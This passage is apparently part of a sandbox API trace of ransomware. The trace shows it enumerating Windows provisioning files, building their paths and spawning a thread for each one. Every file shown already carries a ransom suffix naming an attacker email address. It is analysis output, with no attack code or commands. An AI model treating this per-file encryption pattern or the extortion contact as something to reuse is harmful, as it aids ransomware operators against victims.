lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8e395b53, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x0, dwReserved1=0x0, cFileName="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="117__C~1.D0E")) returned 1 [0176.679] wcscmp (_String1="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.679] wcscmp (_String1="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17e) returned 0x305edf0 [0176.679] wcscpy (in: _Dest=0x305edf0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.679] wcscat (in: _Dest=0x305edf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.679] wcscat (in: _Dest=0x305edf0, _Source="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305edf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0176.680] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d12cff6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="118__C~1.D0E")) returned 1 [0176.680] wcscmp (_String1="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.680] wcscmp (_String1="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.680] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x2fa8640 [0176.680] wcscpy (in: _Dest=0x2fa8640, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.680] wcscat (in: _Dest=0x2fa8640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.680] wcscat (in: _Dest=0x2fa8640, _Source="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0176.681] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d10c815, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="119__C~1.D0E")) returned 1 [0176.681] wcscmp (_String1="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.681] wcscmp (_String1="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.681] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x2fa87d0 [0176.681] wcscpy (in: _Dest=0x2fa87d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.681] wcscat (in: _Dest=0x2fa87d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.681] wcscat (in: _Dest=0x2fa87d0, _Source="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa87d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0176.682] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d0ba97d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x394, dwReserved0=0x0, dwReserved1=0x0, cFileName="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="11__CO~1.D0E")) returned 1 [0176.682] wcscmp (_String1="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.682] wcscmp (_String1="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2fa8960 [0176.682] wcscpy (in: _Dest=0x2fa8960, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.682] wcscat (in: _Dest=0x2fa8960, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.682] wcscat (in: _Dest=0x2fa8960, _Source="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0176.683] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d0946e5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x396, dwReserved0=0x0, dwReserved1=0x0, cFileName="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="120__C~1.D0E")) returned 1 [0176.683] wcscmp (_String1="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.683] wcscmp (_String1="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.683] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x19a) returned 0x2fa8af0 [0176.683] wcscpy (in: _Dest=0x2fa8af0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.683] wcscat (in: _Dest=0x2fa8af0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.683] wcscat (in: _Dest=0x2fa8af0, _Source="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0176.684] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d06e41d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="121__C~1.D0E")) returned 1 [0176.684] wcscmp (_String1="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.684] wcscmp (_String1="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.684] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x180) returned 0x2fa8c98 [0176.684] wcscpy (in: _Dest=0x2fa8c98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.684] wcscat (in: _Dest=0x2fa8c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.684] wcscat (in: _Dest=0x2fa8c98, _Source="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0176.684] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d0481fa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x398, dwReserved0=0x0, dwReserved1=0x0, cFileName="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="122__C~1.D0E")) returned 1 [0176.684] wcscmp (_String1="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.684] wcscmp (_String1="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.684] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18c) returned 0x2fa8e20 [0176.685] wcscpy (in: _Dest=0x2fa8e20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.685] wcscat (in: _Dest=0x2fa8e20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.685] wcscat (in: _Dest=0x2fa8e20, _Source="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0176.685] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8ce7e68e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="123__C~1.D0E")) returned 1 [0176.688] wcscmp (_String1="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.688] wcscmp (_String1="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.688] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18c) returned 0x2fa8fb8 [0176.688] wcscpy (in: _Dest=0x2fa8fb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.688] wcscat (in: _Dest=0x2fa8fb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.688] wcscat (in: _Dest=0x2fa8fb8, _Source="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa8fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0176.688] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8ce586e7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="124__C~1.D0E")) returned 1 [0176.688] wcscmp (_String1="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.688] wcscmp (_String1="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.688] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2fa9150 [0176.689] wcscpy (in: _Dest=0x2fa9150, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.689] wcscat (in: _Dest=0x2fa9150, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.689] wcscat (in: _Dest=0x2fa9150, _Source="124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0176.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa9150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0176.689] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9051cd0d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9051cd0d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8ce586e7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x394, dwReserved0=0x0, dwReserved1=0x0, cFileName="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="125__C~1.D0E")) returned 1 [0176.689] wcscmp (_String1="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.689] wcscmp (_String1="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1a4) returned 0x2fa92c8 [0176.689] wcscpy (in: _Dest=0x2fa92c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0176.689] wcscat (in: _Dest=0x2fa92c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0176.689] wcscat (in: _Dest=0x2fa92c8, _Source="125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0176.690] CreateThread (in: 